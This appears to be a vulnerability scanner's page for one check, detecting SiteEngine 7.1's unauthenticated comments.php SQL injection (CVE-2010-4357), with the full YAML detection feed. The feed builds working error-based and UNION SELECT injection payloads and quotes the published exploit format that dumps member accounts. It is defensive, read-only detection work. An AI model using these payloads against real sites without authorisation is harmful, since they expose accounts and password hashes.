SiteEngine — 1 vulnerability check

noctis ships 1 vulnerability check for SiteEngine, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

SiteEngine comments.php module SQL Injection

CVECVE-2010-4357
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/siteengine/CVE-2010-4357.yaml

SiteEngine 7.1 inserts the module parameter of comments.php, unescaped, into the table names of an SQL query, without authentication, allowing SQL injection (an attacker can read the whole database, including the member and administrator accounts and their password hashes).

This check looks for SiteEngine under the web root and the usual install paths. Where it is found, it sends comments.php requests whose module value ends the query with a condition that makes the database compute the product of two random numbers: once through an XPath error message, then through a UNION SELECT for each known column layout of the comments query. The vulnerability is confirmed when the page shows the product computed by the database, which never appears in the request. No stored data is read and nothing is written. When no request confirms it, a page announcing SiteEngine 7.1 is reported as a version-based finding.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. HTTP(S) request GET {{dir}}/comments.php?id=1&module=news
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{gate.dir}}/comments.php?id=1&module={{module}}
  8. Parses / computes the next value with a Rhai script
  9. Checks hit for ^(err|news|newstopic) → finding QoD 97: SiteEngine comments.php module SQL Injection (CVE-2010-4357)
  10. Checks fallback for ^/ → finding QoD 70: SiteEngine 7.1 comments.php module SQL Injection (CVE-2010-4357)

References:

Feed source — tests/vulnerabilities/siteengine/CVE-2010-4357.yaml
# SiteEngine 7.1 — comments.php module SQL injection — CVE-2010-4357
#
# SiteEngine (Boka, www.siteengine.net / www.boka.cn) is a commercial PHP CMS; its source
# was never published. comments.php pastes the module parameter, unescaped, into the
# table names of the comments page query (FROM boka_<module> m, boka_<module>class c …),
# with no authentication; comments are enabled by default. The public exploits
# (EDB-15612, 0day.today 14964, AngelSword siteengine_comments_module_sqli) send
#     comments.php?id=1&module=news m,boka_newsclass c where 1=2 union select 1,2,X,…#
# and read X back as the article title (3rd column). The column count depends on the
# edition: news 26/27/38, newstopic 27/38/39 in the published payloads.
#
# Detection, on the first install dir (/, /SiteEngine, /siteengine) whose index.php shows
# or comments.php?id=1&module=news shows the SiteEngine marker ("Powered by SiteEngine" /
# content="Boka SiteEngine"):
#   1. module=news m,boka_newsclass c where extractvalue(1,concat(0x7e,C))#
#      with C = concat(0x4e4f43544953,a*b,0x454e44) (random six-digit a, b):
#      works whatever the column count, when the site prints database errors
#      (XPATH syntax error: '~NOCTIS<a*b>END').
#   2. the six published UNION layouts (1,2,C,4,…,N: integers, C in the title column).
#   QoD 97 when NOCTIS<a*b>END is in the reply: the product is computed by the database
#   and never appears in the request. Read-only: no stored data is selected (the
#   published payloads dump boka_members), nothing is written.
#   3. Fallback QoD 70: the page announces SiteEngine 7.1 (the only release NVD lists).
#
# Better than the source NASL (version-only, 7.1 from the "SiteEngine x.y" text):
#   - real exploitation proof, which also catches other editions and versions with the bug;
#   - the QoD 70 version fallback is kept for installs with a non-default table
#     prefix or comments disabled;
#   - the version is also read from the meta content="Boka SiteEngine x.y" form.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_siteengine_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801682, GPL-2.0-only) + gb_siteengine_detect.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801681); exploit EDB-15612.
uid: dbabe12f-9b51-4544-b54a-9f57a58a5a80
name: "SiteEngine comments.php module SQL Injection (CVE-2010-4357)"
description: |
  SiteEngine 7.1 inserts the module parameter of comments.php, unescaped, into the
  table names of an SQL query, without authentication, allowing SQL injection (an
  attacker can read the whole database, including the member and administrator
  accounts and their password hashes).

  This check looks for SiteEngine under the web root and the usual install paths. Where
  it is found, it sends comments.php requests whose module value ends the query with a
  condition that makes the database compute the product of two random numbers: once
  through an XPath error message, then through a UNION SELECT for each known column
  layout of the comments query. The vulnerability is confirmed when the page shows the
  product computed by the database, which never appears in the request. No stored data
  is read and nothing is written. When no request confirms it, a page announcing
  SiteEngine 7.1 is reported as a version-based finding.
cves: [CVE-2010-4357]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [siteengine, boka, sqli, union-based, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4357"
  - "https://www.exploit-db.com/exploits/15612"
  - "https://vuldb.com/vuln/55579"
  # OpenVAS/Greenbone NASL 2010/gb_siteengine_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected value and the encoded module payloads ───────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "concat(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      let head_news = "news+m,boka_newsclass+c+where+";
      let head_topic = "newstopic+m,boka_newstopicclass+c+where+";
      let mods = #{ err: head_news + "extractvalue(1,concat(0x7e," + c + "))%23" };
      for lay in [["news", 27], ["news", 26], ["news", 38],
                  ["newstopic", 39], ["newstopic", 38], ["newstopic", 27]] {
        // the published layouts: integers, the computed marker in the 3rd (title) column
        let cols = "1,2," + c;
        for i in 4..(lay[1] + 1) { cols += "," + i; }
        let head = if lay[0] == "news" { head_news } else { head_topic };
        mods[lay[0] + lay[1]] = head + "1=2+union+select+" + cols + "%23";
      }
      #{ want: "NOCTIS" + (a * b) + "END", expr: a + "*" + b, mods: mods }
    store_as: sc

  - id: init-gate
    action: set_var
    var_name: gate
    var_value: {found: false, dir: ""}

  - id: init-fallback
    action: set_var
    var_name: fallback
    var_value: ""

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Find the install dir (loop group) ──────────────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/SiteEngine", "/siteengine"]

  - id: init-comm
    action: set_var
    var_name: comm
    var_value: {status: 0, body: ""}

  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: "!gate.found"
    store_as: landing

  - id: fetch-comments
    action: http_request
    method: GET
    path: "{{dir}}/comments.php?id=1&module=news"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: "!gate.found"
    store_as: comm

  - id: check-gate
    action: script
    condition: "!gate.found"
    code: |
      let body = if type_of(landing.body) == "string" { landing.body } else { "" };
      let cbody = if type_of(comm.body) == "string" { comm.body } else { "" };
      let mark = "(?i)powered by siteengine|content=\"boka siteengine";
      if ereg(mark, body) || ereg(mark, cbody) { #{ found: true, dir: dir } } else { gate }
    store_as: gate

  - id: check-version
    action: script
    condition: 'fallback == ""'
    code: |
      let body = if type_of(landing.body) == "string" { landing.body } else { "" };
      let out = "";
      if ereg("(?i)powered by siteengine|content=\"boka siteengine", body) {
        let v = eregmatch("(?i)siteengine\\s+v?([0-9]{1,4}(?:\\.[0-9]{1,4})*)", body);
        if v.len() > 1 && v[1] == "7.1" {
          out = (if dir == "" { "/" } else { dir }) + " (" + v[0] + ")";
        }
      }
      out
    store_as: fallback

  # ── Exploitation probes on the install dir (loop group) ───────────────────
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}
    loop:
      var: kind
      over: ["err", "news27", "news26", "news38", "newstopic39", "newstopic38", "newstopic27"]

  - id: pick-module
    action: script
    condition: 'gate.found && hit == ""'
    code: "sc.mods[kind]"
    store_as: module

  - id: send-probe
    action: http_request
    method: GET
    path: "{{gate.dir}}/comments.php?id=1&module={{module}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'gate.found && hit == ""'
    store_as: probe

  - id: check-probe
    action: script
    condition: 'gate.found && hit == ""'
    code: |
      let body = if type_of(probe.body) == "string" { probe.body } else { "" };
      if body.contains(sc.want) { kind } else { "" }
    store_as: hit

  # Finding (in the probe group: stops the test at the first confirmed probe)
  - id: report-exploit
    action: match
    source: hit
    pattern: "^(err|news|newstopic)"
    on_match:
      finding:
        title: "SiteEngine comments.php module SQL Injection (CVE-2010-4357)"
        description: "An unauthenticated comments.php request whose module value injects a condition into the comments query made the database compute the product of two random numbers, and the page showed it: an attacker can read the whole database, including the member and administrator accounts and their password hashes."
        remediation: "Apply the vendor fix or upgrade SiteEngine beyond 7.1, or restrict access to comments.php (for example by disabling comments) until it is fixed."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{gate.dir}}/comments.php?id=1&module=<{{hit}} payload computing {{sc.expr}}> returned the database-computed value {{sc.want}}"
      stop: true

  # Version fallback: its own one-pass group, so it runs once, after every probe.
  - id: after-probes
    action: set_var
    var_name: fallback_done
    var_value: true
    loop:
      var: pass
      over: ["once"]

  - id: report-version
    action: match
    source: fallback
    pattern: "^/"
    condition: 'hit == ""'
    on_match:
      finding:
        title: "SiteEngine 7.1 comments.php module SQL Injection (CVE-2010-4357)"
        description: "The page announces SiteEngine 7.1, whose comments.php inserts the module parameter unescaped into an SQL query (SQL injection without authentication). The injection itself could not be confirmed (comments disabled, non-default table prefix or another column layout)."
        remediation: "Apply the vendor fix or upgrade SiteEngine beyond 7.1, or restrict access to comments.php (for example by disabling comments) until it is fixed."
        confidence_delta: 0.40
        qod: 70
        evidence: "SiteEngine 7.1 announced at {{fallback}}"

View these feeds on GitHub